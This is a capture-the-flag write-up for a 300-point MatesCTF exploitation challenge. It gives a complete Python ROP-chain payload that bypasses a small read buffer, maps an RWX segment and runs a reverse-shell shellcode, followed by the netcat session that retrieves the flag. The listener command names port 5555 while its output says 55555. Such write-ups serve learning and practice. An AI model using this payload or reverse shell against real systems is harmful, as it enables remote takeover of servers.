Points: 300 Category: Exploitation Author: vladz

Introduction

The vulnerability is a standard buffer overflow, we need to enter 12 bytes to overwrite rip. The exploitation is more complex by the fact that:

  • binary is statically linked and quiet small ;
  • binary is ran by a backend python script which makes its output hidden to the attacker (no possible leak or interaction with the execution) ;
  • input buffer size is 100 bytes which is quiet small (minus the bytes needed to trigger the overflow, the attacker can only input 10 quad-words).

The good points are that we can use ROP and call any syscall.

Exploitation

The exploitation technique is in three parts:

  • bypasses the initial 100 bytes read() because it’s to small to store complex ROP chain, shellcode and data ;
  • creates a new RWX segment in memory ;
  • injects a reverse-shell shellcode in the new segment and executes it.

Here how the payload is built:

bin_push_rsi_push_rdi_read = 0x00400374
bin_args_syscall = 0x00400341
__NR_mmap = 9
__NR_read = 0
# --- First ROP chain:
# - extends buffer size from 100 to 1024 bytes
payload = "a"*12
payload += p64(bin_push_rsi_push_rdi_read)   # ret
payload += p64(1024)                         # rdx (size_t count)
payload += p64(bin_args_syscall)             # next ret
payload += "P" * (100 - len(payload))        # padding for read()
# --- Second ROP chain:
# - creates new RWX segment at 0x900000
# - copies a shellcode in it
# - executes it
payload += "a"*52
payload += p64(bin_args_syscall)             # ret
payload += p64(bin_args_syscall)             # rbx (next ret)
payload += p64(__NR_mmap)                    # rax
payload += p64(0x900000)                     # rdi (void *addr)
payload += p64(4096)                         # rsi (size_t length)
payload += p64(7)                            # rdx (int prot)
payload += p64(34)                           # r10 (int flags)
payload += p64(0)                            # r9  (int fd)
payload += p64(0)                            # r8  (size_t length)
payload += p64(0x900000)                     # rbx (next ret)
payload += p64(__NR_read)                    # rax
payload += p64(0x0)                          # rdi (int fd)
payload += p64(0x900000)                     # rsi (void *buff)
payload += p64(4096)                         # rdx (size_t count)
payload += p64(0)                            # r10
payload += p64(0)                            # r9
payload += p64(0)                            # r8
payload += "P" * (100 + 1024 - len(payload)) # padding for read()
# --- Shellcode
# - a reverse shell to port 55555 (shellcode by @sinkmanu found on
#   https://www.exploit-db.com/exploits/41477/)
payload += "\x68\xff\xff\xff\xff\x66\x68\xd9\x03\x66\x6a\x02\x6a\x2a\x6a\x10"
payload += "\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89"
payload += "\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48"
payload += "\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62"
payload += "\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2"
payload += "\xb0\x3b\x0f\x05"
# --- Save payload to a file
[...]

Note: the IP address of the server I’ve used for the reverse shell has been hidden and replaced by “\xff\xff\xff\xff”.

Retrieve the flag

The flag was obtained by running netcat on our server and submitting the payload file to the server via the web form (http://35.200.120.165/):

$ nc -vvv -l -p 5555
listening on [any] 55555 ...
connect to [195.154.106.24] from 165.120.200.35.bc.googleusercontent.com
[35.200.120.165] 60120
ls
flag
main.py
main.pyc
prestart.sh
run.sh
static
uwsgi.ini
vuln_app
cat flag
MatesCTF{why_4m_1_s0_0bs3ss3d_w1th_bl1nd_RC3?}

Pwntera

Yet another french CTF team that sux !